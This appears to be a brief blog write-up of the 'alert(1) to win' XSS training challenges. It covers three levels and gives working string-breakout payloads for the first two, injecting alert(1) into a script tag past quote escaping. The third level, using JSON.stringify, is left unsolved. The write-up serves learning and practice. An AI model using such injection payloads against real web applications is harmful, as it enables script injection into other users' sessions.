Skip to content
ctfwriteupxssportswigger

alert(1) to win

1 min read

WarmUp

The code below generates HTML in an unsafe way. Prove it by calling alert(1).

function escape(s) {
  return '<script>console.log("'+s+'");</script>';
}

A simple function. It prints console.log inside a script tag.

Payload

First, escape out of console.log.

Then insert an alert statement.

Input : ");alert(1)//
Output : <script>console.log("");alert(1)//");</script>

It seems </script> stays intact even when using a comment.


Adobe

function escape(s) {
  s = s.replace(/"/g, '\\"');
  return '<script>console.log("' + s + '");</script>';
}

A function that replaces " with \".

Again, the goal is to escape console.log and call alert(1).

Payload

Input : \");alert(1)//
Output : <script>console.log("\\");alert(1)//");</script>

Using \" escapes out of console.log, then calls alert(1), then comments out the rest of the statement.


JSON

function escape(s) {
  s = JSON.stringify(s);
  return '<script>console.log(' + s + ');</script>';
}

JSON.stringify() serializes the input value as a JSON string literal. Since it escapes all quotes and backslashes, the previous approach of escaping out of console.log(...) with " or \ doesn't work here.

I stopped at this point on this challenge. Will update when I resume.